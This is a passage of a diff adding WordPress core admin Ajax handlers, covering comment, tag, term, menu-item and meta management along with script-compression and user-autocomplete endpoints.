ac Phasellus. Et urna ac cursus tortor aliquam Aliquam amet tellus volutpat Vestibulum. Justo interdum condimentum In augue congue tellus sollicitudin Quisque quis nibh."';
+
+		 if ( 1 == $_GET['test'] ) {
+		 	echo $test_str;
+		 	wp_die();
+		 } elseif ( 2 == $_GET['test'] ) {
+			if ( !isset($_SERVER['HTTP_ACCEPT_ENCODING']) )
+				wp_die( -1 );
+			if ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'deflate') && function_exists('gzdeflate') && ! $force_gzip ) {
+				header('Content-Encoding: deflate');
+				$out = gzdeflate( $test_str, 1 );
+			} elseif ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') && function_exists('gzencode') ) {
+				header('Content-Encoding: gzip');
+				$out = gzencode( $test_str, 1 );
+			} else {
+				wp_die( -1 );
+			}
+			echo $out;
+			wp_die();
+		} elseif ( 'no' == $_GET['test'] ) {
+			update_site_option('can_compress_scripts', 0);
+		} elseif ( 'yes' == $_GET['test'] ) {
+			update_site_option('can_compress_scripts', 1);
+		}
+	}
+
+	wp_die( 0 );
+}
+
+/**
+ * Ajax handler for image editor previews.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_imgedit_preview() {
+	$post_id = intval($_GET['postid']);
+	if ( empty($post_id) || !current_user_can('edit_post', $post_id) )
+		wp_die( -1 );
+
+	check_ajax_referer( "image_editor-$post_id" );
+
+	include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
+	if ( ! stream_preview_image($post_id) )
+		wp_die( -1 );
+
+	wp_die();
+}
+
+/**
+ * Ajax handler for oEmbed caching.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_oembed_cache() {
+	$GLOBALS['wp_embed']->cache_oembed( $_GET['post'] );
+	wp_die( 0 );
+}
+
+/**
+ * Ajax handler for user autocomplete.
+ *
+ * @since 3.4.0
+ */
+function wp_ajax_autocomplete_user() {
+	if ( ! is_multisite() || ! current_user_can( 'promote_users' ) || wp_is_large_network( 'users' ) )
+		wp_die( -1 );
+
+	/** This filter is documented in wp-admin/user-new.php */
+	if ( ! is_super_admin() && ! apply_filters( 'autocomplete_users_for_site_admins', false ) )
+		wp_die( -1 );
+
+	$return = array();
+
+	// Check the type of request
+	// Current allowed values are `add` and `search`
+	if ( isset( $_REQUEST['autocomplete_type'] ) && 'search' === $_REQUEST['autocomplete_type'] ) {
+		$type = $_REQUEST['autocomplete_type'];
+	} else {
+		$type = 'add';
+	}
+
+	// Check the desired field for value
+	// Current allowed values are `user_email` and `user_login`
+	if ( isset( $_REQUEST['autocomplete_field'] ) && 'user_email' === $_REQUEST['autocomplete_field'] ) {
+		$field = $_REQUEST['autocomplete_field'];
+	} else {
+		$field = 'user_login';
+	}
+
+	// Exclude current users of this blog
+	if ( isset( $_REQUEST['site_id'] ) ) {
+		$id = absint( $_REQUEST['site_id'] );
+	} else {
+		$id = get_current_blog_id();
+	}
+
+	$include_blog_users = ( $type == 'search' ? get_users( array( 'blog_id' => $id, 'fields' => 'ID' ) ) : array() );
+	$exclude_blog_users = ( $type == 'add' ? get_users( array( 'blog_id' => $id, 'fields' => 'ID' ) ) : array() );
+
+	$users = get_users( array(
+		'blog_id' => false,
+		'search'  => '*' . $_REQUEST['term'] . '*',
+		'include' => $include_blog_users,
+		'exclude' => $exclude_blog_users,
+		'search_columns' => array( 'user_login', 'user_nicename', 'user_email' ),
+	) );
+
+	foreach ( $users as $user ) {
+		$return[] = array(
+			/* translators: 1: user_login, 2: user_email */
+			'label' => sprintf( __( '%1$s (%2$s)' ), $user->user_login, $user->user_email ),
+			'value' => $user->$field,
+		);
+	}
+
+	wp_die( wp_json_encode( $return ) );
+}
+
+/**
+ * Ajax handler for dashboard widgets.
+ *
+ * @since 3.4.0
+ */
+function wp_ajax_dashboard_widgets() {
+	require_once ABSPATH . 'wp-admin/includes/dashboard.php';
+
+	$pagenow = $_GET['pagenow'];
+	if ( $pagenow === 'dashboard-user' || $pagenow === 'dashboard-network' || $pagenow === 'dashboard' ) {
+		set_current_screen( $pagenow );
+	}
+
+	switch ( $_GET['widget'] ) {
+		case 'dashboard_primary' :
+			wp_dashboard_primary();
+			break;
+	}
+	wp_die();
+}
+
+/**
+ * Ajax handler for Customizer preview logged-in status.
+ *
+ * @since 3.4.0
+ */
+function wp_ajax_logged_in() {
+	wp_die( 1 );
+}
+
+//
+// Ajax helpers.
+//
+
+/**
+ * Sends back current comment total and new page links if they need to be updated.
+ *
+ * Contrary to normal success AJAX response ("1"), die with time() on success.
+ *
+ * @since 2.7.0
+ *
+ * @param int $comment_id
+ * @return die
+ */
+function _wp_ajax_delete_comment_response( $comment_id, $delta = -1 ) {
+	$total    = isset( $_POST['_total'] )    ? (int) $_POST['_total']    : 0;
+	$per_page = isset( $_POST['_per_page'] ) ? (int) $_POST['_per_page'] : 0;
+	$page     = isset( $_POST['_page'] )     ? (int) $_POST['_page']     : 0;
+	$url      = isset( $_POST['_url'] )      ? esc_url_raw( $_POST['_url'] ) : '';
+
+	// JS didn't send us everything we need to know. Just die with success message
+	if ( !$total || !$per_page || !$page || !$url )
+		wp_die( time() );
+
+	$total += $delta;
+	if ( $total < 0 )
+		$total = 0;
+
+	// Only do the expensive stuff on a page-break, and about 1 other time per page
+	if ( 0 == $total % $per_page || 1 == mt_rand( 1, $per_page ) ) {
+		$post_id = 0;
+		$status = 'total_comments'; // What type of comment count are we looking for?
+		$parsed = parse_url( $url );
+		if ( isset( $parsed['query'] ) ) {
+			parse_str( $parsed['query'], $query_vars );
+			if ( !empty( $query_vars['comment_status'] ) )
+				$status = $query_vars['comment_status'];
+			if ( !empty( $query_vars['p'] ) )
+				$post_id = (int) $query_vars['p'];
+		}
+
+		$comment_count = wp_count_comments($post_id);
+
+		// We're looking for a known type of comment count.
+		if ( isset( $comment_count->$status ) )
+			$total = $comment_count->$status;
+			// Else use the decremented value from above.
+	}
+
+	// The time since the last comment count.
+	$time = time();
+
+	$x = new WP_Ajax_Response( array(
+		'what' => 'comment',
+		// Here for completeness - not used.
+		'id' => $comment_id,
+		'supplemental' => array(
+			'total_items_i18n' => sprintf( _n( '1 item', '%s items', $total ), number_format_i18n( $total ) ),
+			'total_pages' => ceil( $total / $per_page ),
+			'total_pages_i18n' => number_format_i18n( ceil( $total / $per_page ) ),
+			'total' => $total,
+			'time' => $time
+		)
+	) );
+	$x->send();
+}
+
+//
+// POST-based Ajax handlers.
+//
+
+/**
+ * Ajax handler for adding a hierarchical term.
+ *
+ * @since 3.1.0
+ */
+function _wp_ajax_add_hierarchical_term() {
+	$action = $_POST['action'];
+	$taxonomy = get_taxonomy(substr($action, 4));
+	check_ajax_referer( $action, '_ajax_nonce-add-' . $taxonomy->name );
+	if ( !current_user_can( $taxonomy->cap->edit_terms ) )
+		wp_die( -1 );
+	$names = explode(',', $_POST['new'.$taxonomy->name]);
+	$parent = isset($_POST['new'.$taxonomy->name.'_parent']) ? (int) $_POST['new'.$taxonomy->name.'_parent'] : 0;
+	if ( 0 > $parent )
+		$parent = 0;
+	if ( $taxonomy->name == 'category' )
+		$post_category = isset($_POST['post_category']) ? (array) $_POST['post_category'] : array();
+	else
+		$post_category = ( isset($_POST['tax_input']) && isset($_POST['tax_input'][$taxonomy->name]) ) ? (array) $_POST['tax_input'][$taxonomy->name] : array();
+	$checked_categories = array_map( 'absint', (array) $post_category );
+	$popular_ids = wp_popular_terms_checklist($taxonomy->name, 0, 10, false);
+
+	foreach ( $names as $cat_name ) {
+		$cat_name = trim($cat_name);
+		$category_nicename = sanitize_title($cat_name);
+		if ( '' === $category_nicename )
+			continue;
+		if ( !$cat_id = term_exists( $cat_name, $taxonomy->name, $parent ) )
+			$cat_id = wp_insert_term( $cat_name, $taxonomy->name, array( 'parent' => $parent ) );
+		if ( is_wp_error( $cat_id ) )
+			continue;
+		else if ( is_array( $cat_id ) )
+			$cat_id = $cat_id['term_id'];
+		$checked_categories[] = $cat_id;
+		if ( $parent ) // Do these all at once in a second
+			continue;
+		ob_start();
+			wp_terms_checklist( 0, array( 'taxonomy' => $taxonomy->name, 'descendants_and_self' => $cat_id, 'selected_cats' => $checked_categories, 'popular_cats' => $popular_ids ));
+		$data = ob_get_contents();
+		ob_end_clean();
+		$add = array(
+			'what' => $taxonomy->name,
+			'id' => $cat_id,
+			'data' => str_replace( array("\n", "\t"), '', $data),
+			'position' => -1
+		);
+	}
+
+	if ( $parent ) { // Foncy - replace the parent and all its children
+		$parent = get_term( $parent, $taxonomy->name );
+		$term_id = $parent->term_id;
+
+		while ( $parent->parent ) { // get the top parent
+			$parent = get_term( $parent->parent, $taxonomy->name );
+			if ( is_wp_error( $parent ) )
+				break;
+			$term_id = $parent->term_id;
+		}
+
+		ob_start();
+			wp_terms_checklist( 0, array('taxonomy' => $taxonomy->name, 'descendants_and_self' => $term_id, 'selected_cats' => $checked_categories, 'popular_cats' => $popular_ids));
+		$data = ob_get_contents();
+		ob_end_clean();
+		$add = array(
+			'what' => $taxonomy->name,
+			'id' => $term_id,
+			'data' => str_replace( array("\n", "\t"), '', $data),
+			'position' => -1
+		);
+	}
+
+	ob_start();
+		wp_dropdown_categories( array(
+			'taxonomy' => $taxonomy->name, 'hide_empty' => 0, 'name' => 'new'.$taxonomy->name.'_parent', 'orderby' => 'name',
+			'hierarchical' => 1, 'show_option_none' => '&mdash; '.$taxonomy->labels->parent_item.' &mdash;'
+		) );
+	$sup = ob_get_contents();
+	ob_end_clean();
+	$add['supplemental'] = array( 'newcat_parent' => $sup );
+
+	$x = new WP_Ajax_Response( $add );
+	$x->send();
+}
+
+/**
+ * Ajax handler for deleting a comment.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_delete_comment() {
+	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
+
+	if ( !$comment = get_comment( $id ) )
+		wp_die( time() );
+	if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) )
+		wp_die( -1 );
+
+	check_ajax_referer( "delete-comment_$id" );
+	$status = wp_get_comment_status( $comment->comment_ID );
+
+	$delta = -1;
+	if ( isset($_POST['trash']) && 1 == $_POST['trash'] ) {
+		if ( 'trash' == $status )
+			wp_die( time() );
+		$r = wp_trash_comment( $comment->comment_ID );
+	} elseif ( isset($_POST['untrash']) && 1 == $_POST['untrash'] ) {
+		if ( 'trash' != $status )
+			wp_die( time() );
+		$r = wp_untrash_comment( $comment->comment_ID );
+		if ( ! isset( $_POST['comment_status'] ) || $_POST['comment_status'] != 'trash' ) // undo trash, not in trash
+			$delta = 1;
+	} elseif ( isset($_POST['spam']) && 1 == $_POST['spam'] ) {
+		if ( 'spam' == $status )
+			wp_die( time() );
+		$r = wp_spam_comment( $comment->comment_ID );
+	} elseif ( isset($_POST['unspam']) && 1 == $_POST['unspam'] ) {
+		if ( 'spam' != $status )
+			wp_die( time() );
+		$r = wp_unspam_comment( $comment->comment_ID );
+		if ( ! isset( $_POST['comment_status'] ) || $_POST['comment_status'] != 'spam' ) // undo spam, not in spam
+			$delta = 1;
+	} elseif ( isset($_POST['delete']) && 1 == $_POST['delete'] ) {
+		$r = wp_delete_comment( $comment->comment_ID );
+	} else {
+		wp_die( -1 );
+	}
+
+	if ( $r ) // Decide if we need to send back '1' or a more complicated response including page links and comment counts
+		_wp_ajax_delete_comment_response( $comment->comment_ID, $delta );
+	wp_die( 0 );
+}
+
+/**
+ * Ajax handler for deleting a tag.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_delete_tag() {
+	$tag_id = (int) $_POST['tag_ID'];
+	check_ajax_referer( "delete-tag_$tag_id" );
+
+	$taxonomy = !empty($_POST['taxonomy']) ? $_POST['taxonomy'] : 'post_tag';
+	$tax = get_taxonomy($taxonomy);
+
+	if ( !current_user_can( $tax->cap->delete_terms ) )
+		wp_die( -1 );
+
+	$tag = get_term( $tag_id, $taxonomy );
+	if ( !$tag || is_wp_error( $tag ) )
+		wp_die( 1 );
+
+	if ( wp_delete_term($tag_id, $taxonomy))
+		wp_die( 1 );
+	else
+		wp_die( 0 );
+}
+
+/**
+ * Ajax handler for deleting a link.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_delete_link() {
+	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
+
+	check_ajax_referer( "delete-bookmark_$id" );
+	if ( !current_user_can( 'manage_links' ) )
+		wp_die( -1 );
+
+	$link = get_bookmark( $id );
+	if ( !$link || is_wp_error( $link ) )
+		wp_die( 1 );
+
+	if ( wp_delete_link( $id ) )
+		wp_die( 1 );
+	else
+		wp_die( 0 );
+}
+
+/**
+ * Ajax handler for deleting meta.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_delete_meta() {
+	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
+
+	check_ajax_referer( "delete-meta_$id" );
+	if ( !$meta = get_metadata_by_mid( 'post', $id ) )
+		wp_die( 1 );
+
+	if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'delete_post_meta',  $meta->post_id, $meta->meta_key ) )
+		wp_die( -1 );
+	if ( delete_meta( $meta->meta_id ) )
+		wp_die( 1 );
+	wp_die( 0 );
+}
+
+/**
+ * Ajax handler for deleting a post.
+ *
+ * @since 3.1.0
+ *
+ * @param string $action Action to perform.
+ */
+function wp_ajax_delete_post( $action ) {
+	if ( empty( $action ) )
+		$action = 'delete-post';
+	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
+
+	check_ajax_referer( "{$action}_$id" );
+	if ( !current_user_can( 'delete_post', $id ) )
+		wp_die( -1 );
+
+	if ( !get_post( $id ) )
+		wp_die( 1 );
+
+	if ( wp_delete_post( $id ) )
+		wp_die( 1 );
+	else
+		wp_die( 0 );
+}
+
+/**
+ * Ajax handler for sending a post to the trash.
+ *
+ * @since 3.1.0
+ *
+ * @param string $action Action to perform.
+ */
+function wp_ajax_trash_post( $action ) {
+	if ( empty( $action ) )
+		$action = 'trash-post';
+	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
+
+	check_ajax_referer( "{$action}_$id" );
+	if ( !current_user_can( 'delete_post', $id ) )
+		wp_die( -1 );
+
+	if ( !get_post( $id ) )
+		wp_die( 1 );
+
+	if ( 'trash-post' == $action )
+		$done = wp_trash_post( $id );
+	else
+		$done = wp_untrash_post( $id );
+
+	if ( $done )
+		wp_die( 1 );
+
+	wp_die( 0 );
+}
+
+/**
+ * Ajax handler to restore a post from the trash.
+ *
+ * @since 3.1.0
+ *
+ * @param string $action Action to perform.
+ */
+function wp_ajax_untrash_post( $action ) {
+	if ( empty( $action ) )
+		$action = 'untrash-post';
+	wp_ajax_trash_post( $action );
+}
+
+function wp_ajax_delete_page( $action ) {
+	if ( empty( $action ) )
+		$action = 'delete-page';
+	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
+
+	check_ajax_referer( "{$action}_$id" );
+	if ( !current_user_can( 'delete_page', $id ) )
+		wp_die( -1 );
+
+	if ( ! get_post( $id ) )
+		wp_die( 1 );
+
+	if ( wp_delete_post( $id ) )
+		wp_die( 1 );
+	else
+		wp_die( 0 );
+}
+
+/**
+ * Ajax handler to dim a comment.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_dim_comment() {
+	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
+
+	if ( !$comment = get_comment( $id ) ) {
+		$x = new WP_Ajax_Response( array(
+			'what' => 'comment',
+			'id' => new WP_Error('invalid_comment', sprintf(__('Comment %d does not exist'), $id))
+		) );
+		$x->send();
+	}
+
+	if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) && ! current_user_can( 'moderate_comments' ) )
+		wp_die( -1 );
+
+	$current = wp_get_comment_status( $comment->comment_ID );
+	if ( isset( $_POST['new'] ) && $_POST['new'] == $current )
+		wp_die( time() );
+
+	check_ajax_referer( "approve-comment_$id" );
+	if ( in_array( $current, array( 'unapproved', 'spam' ) ) )
+		$result = wp_set_comment_status( $comment->comment_ID, 'approve', true );
+	else
+		$result = wp_set_comment_status( $comment->comment_ID, 'hold', true );
+
+	if ( is_wp_error($result) ) {
+		$x = new WP_Ajax_Response( array(
+			'what' => 'comment',
+			'id' => $result
+		) );
+		$x->send();
+	}
+
+	// Decide if we need to send back '1' or a more complicated response including page links and comment counts
+	_wp_ajax_delete_comment_response( $comment->comment_ID );
+	wp_die( 0 );
+}
+
+/**
+ * Ajax handler for deleting a link category.
+ *
+ * @since 3.1.0
+ *
+ * @param string $action Action to perform.
+ */
+function wp_ajax_add_link_category( $action ) {
+	if ( empty( $action ) )
+		$action = 'add-link-category';
+	check_ajax_referer( $action );
+	if ( !current_user_can( 'manage_categories' ) )
+		wp_die( -1 );
+	$names = explode(',', wp_unslash( $_POST['newcat'] ) );
+	$x = new WP_Ajax_Response();
+	foreach ( $names as $cat_name ) {
+		$cat_name = trim($cat_name);
+		$slug = sanitize_title($cat_name);
+		if ( '' === $slug )
+			continue;
+		if ( !$cat_id = term_exists( $cat_name, 'link_category' ) )
+			$cat_id = wp_insert_term( $cat_name, 'link_category' );
+		if ( is_wp_error( $cat_id ) )
+			continue;
+		else if ( is_array( $cat_id ) )
+			$cat_id = $cat_id['term_id'];
+		$cat_name = esc_html( $cat_name );
+		$x->add( array(
+			'what' => 'link-category',
+			'id' => $cat_id,
+			'data' => "<li id='link-category-$cat_id'><label for='in-link-category-$cat_id' class='selectit'><input value='" . esc_attr($cat_id) . "' type='checkbox' checked='checked' name='link_category[]' id='in-link-category-$cat_id'/> $cat_name</label></li>",
+			'position' => -1
+		) );
+	}
+	$x->send();
+}
+
+/**
+ * Ajax handler to add a tag.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_add_tag() {
+	global $wp_list_table;
+
+	check_ajax_referer( 'add-tag', '_wpnonce_add-tag' );
+	$taxonomy = !empty($_POST['taxonomy']) ? $_POST['taxonomy'] : 'post_tag';
+	$tax = get_taxonomy($taxonomy);
+
+	if ( !current_user_can( $tax->cap->edit_terms ) )
+		wp_die( -1 );
+
+	$x = new WP_Ajax_Response();
+
+	$tag = wp_insert_term($_POST['tag-name'], $taxonomy, $_POST );
+
+	if ( !$tag || is_wp_error($tag) || (!$tag = get_term( $tag['term_id'], $taxonomy )) ) {
+		$message = __('An error has occurred. Please reload the page and try again.');
+		if ( is_wp_error($tag) && $tag->get_error_message() )
+			$message = $tag->get_error_message();
+
+		$x->add( array(
+			'what' => 'taxonomy',
+			'data' => new WP_Error('error', $message )
+		) );
+		$x->send();
+	}
+
+	$wp_list_table = _get_list_table( 'WP_Terms_List_Table', array( 'screen' => $_POST['screen'] ) );
+
+	$level = 0;
+	if ( is_taxonomy_hierarchical($taxonomy) ) {
+		$level = count( get_ancestors( $tag->term_id, $taxonomy, 'taxonomy' ) );
+		ob_start();
+		$wp_list_table->single_row( $tag, $level );
+		$noparents = ob_get_clean();
+	}
+
+	ob_start();
+	$wp_list_table->single_row( $tag );
+	$parents = ob_get_clean();
+
+	$x->add( array(
+		'what' => 'taxonomy',
+		'supplemental' => compact('parents', 'noparents')
+		) );
+	$x->add( array(
+		'what' => 'term',
+		'position' => $level,
+		'supplemental' => (array) $tag
+		) );
+	$x->send();
+}
+
+/**
+ * Ajax handler for getting a tagcloud.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_get_tagcloud() {
+	if ( ! isset( $_POST['tax'] ) ) {
+		wp_die( 0 );
+	}
+
+	$taxonomy = sanitize_key( $_POST['tax'] );
+	$tax = get_taxonomy( $taxonomy );
+	if ( ! $tax ) {
+		wp_die( 0 );
+	}
+	
+	if ( ! current_user_can( $tax->cap->assign_terms ) ) {
+		wp_die( -1 );
+	}
+
+	$tags = get_terms( $taxonomy, array( 'number' => 45, 'orderby' => 'count', 'order' => 'DESC' ) );
+
+	if ( empty( $tags ) )
+		wp_die( $tax->labels->not_found );
+
+	if ( is_wp_error( $tags ) )
+		wp_die( $tags->get_error_message() );
+
+	foreach ( $tags as $key => $tag ) {
+		$tags[ $key ]->link = '#';
+		$tags[ $key ]->id = $tag->term_id;
+	}
+
+	// We need raw tag names here, so don't filter the output
+	$return = wp_generate_tag_cloud( $tags, array('filter' => 0) );
+
+	if ( empty($return) )
+		wp_die( 0 );
+
+	echo $return;
+
+	wp_die();
+}
+
+/**
+ * Ajax handler for getting comments.
+ *
+ * @since 3.1.0
+ *
+ * @param string $action Action to perform.
+ */
+function wp_ajax_get_comments( $action ) {
+	global $wp_list_table, $post_id;
+	if ( empty( $action ) )
+		$action = 'get-comments';
+
+	check_ajax_referer( $action );
+
+	if ( empty( $post_id ) && ! empty( $_REQUEST['p'] ) ) {
+		$id = absint( $_REQUEST['p'] );
+		if ( ! empty( $id ) )
+			$post_id = $id;
+	}
+
+	if ( empty( $post_id ) )
+		wp_die( -1 );
+
+	$wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
+
+	if ( ! current_user_can( 'edit_post', $post_id ) )
+		wp_die( -1 );
+
+	$wp_list_table->prepare_items();
+
+	if ( !$wp_list_table->has_items() )
+		wp_die( 1 );
+
+	$x = new WP_Ajax_Response();
+	ob_start();
+	foreach ( $wp_list_table->items as $comment ) {
+		if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) )
+			continue;
+		get_comment( $comment );
+		$wp_list_table->single_row( $comment );
+	}
+	$comment_list_item = ob_get_contents();
+	ob_end_clean();
+
+	$x->add( array(
+		'what' => 'comments',
+		'data' => $comment_list_item
+	) );
+	$x->send();
+}
+
+/**
+ * Ajax handler for replying to a comment.
+ *
+ * @since 3.1.0
+ *
+ * @param string $action Action to perform.
+ */
+function wp_ajax_replyto_comment( $action ) {
+	global $wp_list_table;
+	if ( empty( $action ) )
+		$action = 'replyto-comment';
+
+	check_ajax_referer( $action, '_ajax_nonce-replyto-comment' );
+
+	$comment_post_ID = (int) $_POST['comment_post_ID'];
+	$post = get_post( $comment_post_ID );
+	if ( ! $post )
+		wp_die( -1 );
+
+	if ( !current_user_can( 'edit_post', $comment_post_ID ) )
+		wp_die( -1 );
+
+	if ( empty( $post->post_status ) )
+		wp_die( 1 );
+	elseif ( in_array($post->post_status, array('draft', 'pending', 'trash') ) )
+		wp_die( __('ERROR: you are replying to a comment on a draft post.') );
+
+	$user = wp_get_current_user();
+	if ( $user->exists() ) {
+		$user_ID = $user->ID;
+		$comment_author       = wp_slash( $user->display_name );
+		$comment_author_email = wp_slash( $user->user_email );
+		$comment_author_url   = wp_slash( $user->user_url );
+		$comment_content      = trim( $_POST['content'] );
+		$comment_type         = isset( $_POST['comment_type'] ) ? trim( $_POST['comment_type'] ) : '';
+		if ( current_user_can( 'unfiltered_html' ) ) {
+			if ( ! isset( $_POST['_wp_unfiltered_html_comment'] ) )
+				$_POST['_wp_unfiltered_html_comment'] = '';
+
+			if ( wp_create_nonce( 'unfiltered-html-comment' ) != $_POST['_wp_unfiltered_html_comment'] ) {
+				kses_remove_filters(); // start with a clean slate
+				kses_init_filters(); // set up the filters
+			}
+		}
+	} else {
+		wp_die( __( 'Sorry, you must be logged in to reply to a comment.' ) );
+	}
+
+	if ( '' == $comment_content )
+		wp_die( __( 'ERROR: please type a comment.' ) );
+
+	$comment_parent = 0;
+	if ( isset( $_POST['comment_ID'] ) )
+		$comment_parent = absint( $_POST['comment_ID'] );
+	$comment_auto_approved = false;
+	$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID');
+
+	// Automatically approve parent comment.
+	if ( !empty($_POST['approve_parent']) ) {
+		$parent = get_comment( $comment_parent );
+
+		if ( $parent && $parent->comment_approved === '0' && $parent->comment_post_ID == $comment_post_ID ) {
+			if ( wp_set_comment_status( $parent->comment_ID, 'approve' ) )
+				$comment_auto_approved = true;
+		}
+	}
+
+	$comment_id = wp_new_comment( $commentdata );
+	$comment = get_comment($comment_id);
+	if ( ! $comment ) wp_die( 1 );
+
+	$position = ( isset($_POST['position']) && (int) $_POST['position'] ) ? (int) $_POST['position'] : '-1';
+
+	ob_start();
+	if ( isset( $_REQUEST['mode'] ) && 'dashboard' == $_REQUEST['mode'] ) {
+		require_once( ABSPATH . 'wp-admin/includes/dashboard.php' );
+		_wp_dashboard_recent_comments_row( $comment );
+	} else {
+		if ( isset( $_REQUEST['mode'] ) && 'single' == $_REQUEST['mode'] ) {
+			$wp_list_table = _get_list_table('WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
+		} else {
+			$wp_list_table = _get_list_table('WP_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
+		}
+		$wp_list_table->single_row( $comment );
+	}
+	$comment_list_item = ob_get_clean();
+
+	$response =  array(
+		'what' => 'comment',
+		'id' => $comment->comment_ID,
+		'data' => $comment_list_item,
+		'position' => $position
+	);
+
+	if ( $comment_auto_approved )
+		$response['supplemental'] = array( 'parent_approved' => $parent->comment_ID );
+
+	$x = new WP_Ajax_Response();
+	$x->add( $response );
+	$x->send();
+}
+
+/**
+ * Ajax handler for editing a comment.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_edit_comment() {
+	global $wp_list_table;
+
+	check_ajax_referer( 'replyto-comment', '_ajax_nonce-replyto-comment' );
+
+	$comment_id = (int) $_POST['comment_ID'];
+	if ( ! current_user_can( 'edit_comment', $comment_id ) )
+		wp_die( -1 );
+
+	if ( '' == $_POST['content'] )
+		wp_die( __( 'ERROR: please type a comment.' ) );
+
+	if ( isset( $_POST['status'] ) )
+		$_POST['comment_status'] = $_POST['status'];
+	edit_comment();
+
+	$position = ( isset($_POST['position']) && (int) $_POST['position']) ? (int) $_POST['position'] : '-1';
+	$checkbox = ( isset($_POST['checkbox']) && true == $_POST['checkbox'] ) ? 1 : 0;
+	$wp_list_table = _get_list_table( $checkbox ? 'WP_Comments_List_Table' : 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
+
+	$comment = get_comment( $comment_id );
+	if ( empty( $comment->comment_ID ) )
+		wp_die( -1 );
+
+	ob_start();
+	$wp_list_table->single_row( $comment );
+	$comment_list_item = ob_get_clean();
+
+	$x = new WP_Ajax_Response();
+
+	$x->add( array(
+		'what' => 'edit_comment',
+		'id' => $comment->comment_ID,
+		'data' => $comment_list_item,
+		'position' => $position
+	));
+
+	$x->send();
+}
+
+/**
+ * Ajax handler for adding a menu item.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_add_menu_item() {
+	check_ajax_referer( 'add-menu_item', 'menu-settings-column-nonce' );
+
+	if ( ! current_user_can( 'edit_theme_options' ) )
+		wp_die( -1 );
+
+	require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
+
+	// For performance reasons, we omit some object properties from the checklist.
+	// The following is a hacky way to restore them when adding non-custom items.
+
+	$menu_items_data = array();
+	foreach ( (array) $_POST['menu-item'] as $menu_item_data ) {
+		if (
+			! empty( $menu_item_data['menu-item-type'] ) &&
+			'custom' != $menu_item_data['menu-item-type'] &&
+			! empty( $menu_item_data['menu-item-object-id'] )
+		) {
+			switch( $menu_item_data['menu-item-type'] ) {
+				case 'post_type' :
+					$_object = get_post( $menu_item_data['menu-item-object-id'] );
+				break;
+
+				case 'taxonomy' :
+					$_object = get_term( $menu_item_data['menu-item-object-id'], $menu_item_data['menu-item-object'] );
+				break;
+			}
+
+			$_menu_items = array_map( 'wp_setup_nav_menu_item', array( $_object ) );
+			$_menu_item = array_shift( $_menu_items );
+
+			// Restore the missing menu item properties
+			$menu_item_data['menu-item-description'] = $_menu_item->description;
+		}
+
+		$menu_items_data[] = $menu_item_data;
+	}
+
+	$item_ids = wp_save_nav_menu_items( 0, $menu_items_data );
+	if ( is_wp_error( $item_ids ) )
+		wp_die( 0 );
+
+	$menu_items = array();
+
+	foreach ( (array) $item_ids as $menu_item_id ) {
+		$menu_obj = get_post( $menu_item_id );
+		if ( ! empty( $menu_obj->ID ) ) {
+			$menu_obj = wp_setup_nav_menu_item( $menu_obj );
+			$menu_obj->label = $menu_obj->title; // don't show "(pending)" in ajax-added items
+			$menu_items[] = $menu_obj;
+		}
+	}
+
+	/** This filter is documented in wp-admin/includes/nav-menu.php */
+	$walker_class_name = apply_filters( 'wp_edit_nav_menu_walker', 'Walker_Nav_Menu_Edit', $_POST['menu'] );
+
+	if ( ! class_exists( $walker_class_name ) )
+		wp_die( 0 );
+
+	if ( ! empty( $menu_items ) ) {
+		$args = array(
+			'after' => '',
+			'before' => '',
+			'link_after' => '',
+			'link_before' => '',
+			'walker' => new $walker_class_name,
+		);
+		echo walk_nav_menu_tree( $menu_items, 0, (object) $args );
+	}
+	wp_die();
+}
+
+/**
+ * Ajax handler for adding meta.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_add_meta() {
+	check_ajax_referer( 'add-meta', '_ajax_nonce-add-meta' );
+	$c = 0;
+	$pid = (int) $_POST['post_id'];
+	$post = get_post( $pid );
+
+	if ( isset($_POST['metakeyselect']) || isset($_POST['metakeyinput']) ) {
+		if ( !current_user_can( 'edit_post', $pid ) )
+			wp_die( -1 );
+		if ( isset($_POST['metakeyselect']) && '#NONE#' == $_POST['metakeyselect'] && empty($_POST['metakeyinput']) )
+			wp_die( 1 );
+
+		// If the post is an autodraft, save the post as a draft and then attempt to save the meta.
+		if ( $post->post_status == 'auto-draft' ) {
+			$save_POST = $_POST; // Backup $_POST
+			$_POST = array(); // Make it empty for edit_post()
+			$_POST['action'] = 'draft'; // Warning fix
+			$_POST['post_ID'] = $pid;
+			$_POST['post_type'] = $post->post_type;
+			$_POST['post_status'] = 'draft';
+			$now = current_time('timestamp', 1);
